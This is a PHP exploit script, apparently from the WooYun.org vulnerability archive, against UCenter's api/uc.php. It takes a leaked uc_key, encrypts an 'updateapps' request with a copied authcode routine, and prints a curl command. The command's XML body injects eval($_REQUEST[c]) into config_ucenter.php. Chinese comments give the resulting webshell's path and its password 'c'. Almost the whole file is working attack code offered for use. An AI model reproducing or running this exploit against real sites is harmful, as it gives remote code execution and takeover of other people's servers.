WooYun.org

<?php








$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里


$url = 'http://localhost/api/uc.php';


$arg = 'action=updateapps&time='.time();#拿webshell：http://localhost/config/config_ucenter.php 密码：c


echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';


#curl或者用其他工具post提交





function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {


	$ckey_length = 4;


	$key = md5($key);


	$keya = md5(substr($key, 0, 16));


	$keyb = md5(substr($key, 16, 16));


	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';





	$cryptkey = $keya.md5($keya.$keyc);


	$key_length = strlen($cryptkey);





	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;


	$string_length = strlen($string);





	$result = '';


	$box = range(0, 255);





	$rndkey = array();


	for($i = 0; $i <= 255; $i++) {


		$rndkey[$i] = ord($cryptkey[$i % $key_length]);


	}





	for($j = $i = 0; $i < 256; $i++) {


		$j = ($j + $box[$i] + $rndkey[$i]) % 256;


		$tmp = $box[$i];


		$box[$i] = $box[$j];


		$box[$j] = $tmp;


	}





	for($a = $j = $i = 0; $i < $string_length; $i++) {


		$a = ($a + 1) % 256;


		$j = ($j + $box[$a]) % 256;


		$tmp = $box[$a];


		$box[$a] = $box[$j];


		$box[$j] = $tmp;


		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));


	}





	if($operation == 'DECODE') {


		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {


			return substr($result, 26);


		} else {


			return '';


		}


	} else {


		return $keyc.str_replace('=', '', base64_encode($result));


	}





}





?>